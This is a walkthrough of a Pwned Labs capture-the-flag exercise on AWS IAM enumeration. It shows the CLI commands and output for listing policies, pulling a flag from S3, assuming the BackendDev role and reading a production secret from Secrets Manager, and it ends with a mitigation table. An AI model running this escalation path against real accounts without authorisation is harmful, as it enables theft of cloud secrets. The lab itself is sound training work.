Intro to AWS IAM Enumeration Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: Intro to AWS IAM Enumeration
Platform: Pwned Labs
We start as dev01, check its S3 access, then assume BackendDev for the extra permissions. The policy shows a possible path. We confirm it by assuming the role and retrieving the secret.
1. Initial Access - AWS Credentials
Section titled “1. Initial Access - AWS Credentials”{ "UserId": "[REDACTED_AWS_USERID]", "Account": "794929857501", "Arn": "arn:aws:iam::794929857501:user/dev01"}2. Enumerating User Permissions
Section titled “2. Enumerating User Permissions”We are authenticated as dev01. We can check its managed and inline policies to find out what access it has.
Attached Managed Policies
Section titled “Attached Managed Policies”Managed policies are standalone policies that can be attached to multiple users, groups, or roles.
$ aws iam list-attached-user-policies --user-name dev01 --profile iam_user{ "AttachedPolicies": [ { "PolicyName": "AmazonGuardDutyReadOnlyAccess", "PolicyArn": "arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess" }, { "PolicyName": "dev01", "PolicyArn": "arn:aws:iam::794929857501:policy/dev01" } ]}The dev01 user has two managed policies: AWS’s AmazonGuardDutyReadOnlyAccess and a custom policy named dev01.
Inline Policies
Section titled “Inline Policies”Inline policies are embedded directly into a single user, group, or role.
$ aws iam list-user-policies --user-name dev01 --profile iam_user{ "PolicyNames": [ "S3_Access" ]}The user has one inline policy, S3_Access. We inspect it to see what it allows.
$ aws iam get-user-policy --policy-name S3_Access --user-name dev01 --profile iam_user{ "UserName": "dev01", "PolicyName": "S3_Access", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:ListBucket", "s3:GetObject" ], "Resource": [ "arn:aws:s3:::hl-dev-artifacts", "arn:aws:s3:::hl-dev-artifacts/*" ] } ] }}This policy explicitly grants permission to list objects in the hl-dev-artifacts S3 bucket and download them (GetObject).
3. Exploiting S3 Access to Find a Flag
Section titled “3. Exploiting S3 Access to Find a Flag”We list the contents of hl-dev-artifacts with the access we found.
$ aws s3 ls s3://hl-dev-artifacts --profile iam_user2023-10-01 16:39:53 1235 android-kotlin-extensions-tooling-232.9921.47.pom2023-10-01 16:39:53 214036 android-project-system-gradle-models-232.9921.47-sources.jar2023-10-01 16:38:05 32 flag.txt$ aws s3 cp s3://hl-dev-artifacts/flag.txt . --profile iam_userdownload: s3://hl-dev-artifacts/flag.txt to ./flag.txt
$ cat flag.txtRedactedc904551935c7514We found a flag, but the managed policies may reveal more access. We keep enumerating.
4. Deeper Analysis of Managed Policies
Section titled “4. Deeper Analysis of Managed Policies”We inspect the custom dev01 managed policy. First, we need its default version ID to retrieve the policy document.
$ aws iam get-policy --policy-arn arn:aws:iam::794929857501:policy/dev01 --profile iam_userThe output shows the DefaultVersionId is v7. Now we can retrieve the policy document for that version.
$ aws iam get-policy-version --policy-arn arn:aws:iam::794929857501:policy/dev01 --version-id v7 --profile iam_user{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "iam:GetRole", "iam:GetPolicyVersion", // ... other read-only IAM actions ], "Resource": [ "arn:aws:iam::794929857501:user/dev01", "arn:aws:iam::794929857501:role/BackendDev", "arn:aws:iam::794929857501:policy/BackendDevPolicy", // ... other resources ] } ] }, "VersionId": "v7", // ... }}This policy gives dev01 read-only IAM access to the BackendDev role and its policy, BackendDevPolicy. We investigate those next.
5. Enumerating the BackendDev IAM Role
Section titled “5. Enumerating the BackendDev IAM Role”Using the permissions granted by the dev01 policy, we can now investigate the BackendDev role.
$ aws iam get-role --role-name BackendDev --profile iam_user{ "Role": { "RoleName": "BackendDev", "Arn": "arn:aws:iam::794929857501:role/BackendDev", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::794929857501:user/dev01" }, "Action": "sts:AssumeRole" } ] }, // ... }}Before assuming the role, we check its permissions in BackendDevPolicy.
$ aws iam get-policy-version --policy-arn arn:aws:iam::794929857501:policy/BackendDevPolicy --version-id v1 --profile iam_user{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "ec2:DescribeInstances", "secretsmanager:ListSecrets" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "secretsmanager:GetSecretValue", "secretsmanager:DescribeSecret" ], "Resource": "arn:aws:secretsmanager:us-east-1:794929857501:secret:prod/Customers-QUhpZf" } ] } }}BackendDev Role Permissions:
ec2:DescribeInstanceson all instances.secretsmanager:ListSecretson all secrets.secretsmanager:GetSecretValueon a specific secret:prod/Customers.
6. Privilege Escalation and Accessing Secrets
Section titled “6. Privilege Escalation and Accessing Secrets”We assume the BackendDev role to use its permissions.
$ aws sts assume-role --role-arn arn:aws:iam::794929857501:role/BackendDev --role-session-name BackendDev --profile iam_userThis command returns temporary credentials (AccessKeyId, SecretAccessKey, SessionToken).
We use --profile BackendDev to apply the BackendDev role’s permissions, starting with a list of available secrets.
$ aws secretsmanager list-secrets --profile BackendDevWe can see prod/Customers. We retrieve its value next.
$ aws secretsmanager get-secret-value --secret-id prod/Customers --profile BackendDev{ "ARN": "arn:aws:secretsmanager:us-east-1:794929857501:secret:prod/Customers-QUhpZf", "Name": "prod/Customers", "SecretString": "[REDACTED_SECRET_STRING]", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2023-09-29T08:37:58.579000-04:00"}We escalated privileges and retrieved the database credentials from Secrets Manager!
7. Findings and Mitigation Strategies
Section titled “7. Findings and Mitigation Strategies”These are the IAM misconfigurations we found and the changes that would address them.
| # | Area | Observation | Risk / Impact | Recommendation |
|---|---|---|---|---|
| 1 | IAM User Keys | dev01 uses long-lived static access keys. |
High risk of credential leakage from code, config files, or compromise. | Enforce temporary credentials. Disable static keys and require users to assume roles to perform actions. |
| 2 | Role discovery | dev01 could enumerate other IAM roles. |
Enumeration revealed the role to investigate; read access alone did not grant its permissions. | Review the trust relationship and resulting secret access. Limit enumeration where the workload does not need it. |
| 3 | Broad Trust Policies | The BackendDev role’s trust policy allowed dev01 to assume it without restrictions. |
A compromised dev01 user immediately leads to compromise of the BackendDev role. |
Restrict trust policies. Add condition keys to limit who can assume the role and from where (e.g., source IP, MFA). |
| 4 | Secrets Manager Access | The BackendDev role had access to read production database credentials. |
Exposure of highly sensitive production secrets, leading to potential data breach. | Use resource-based policies on secrets. Limit which specific roles or users can access each secret. Enable automatic rotation. |
| 5 | S3 Data Exposure | dev01 had direct read access to an S3 bucket containing potentially sensitive files. |
Potential for data exfiltration or discovery of sensitive information. | Restrict S3 bucket policies. Use AWS IAM Access Analyzer to continuously review and validate public and cross-account access. |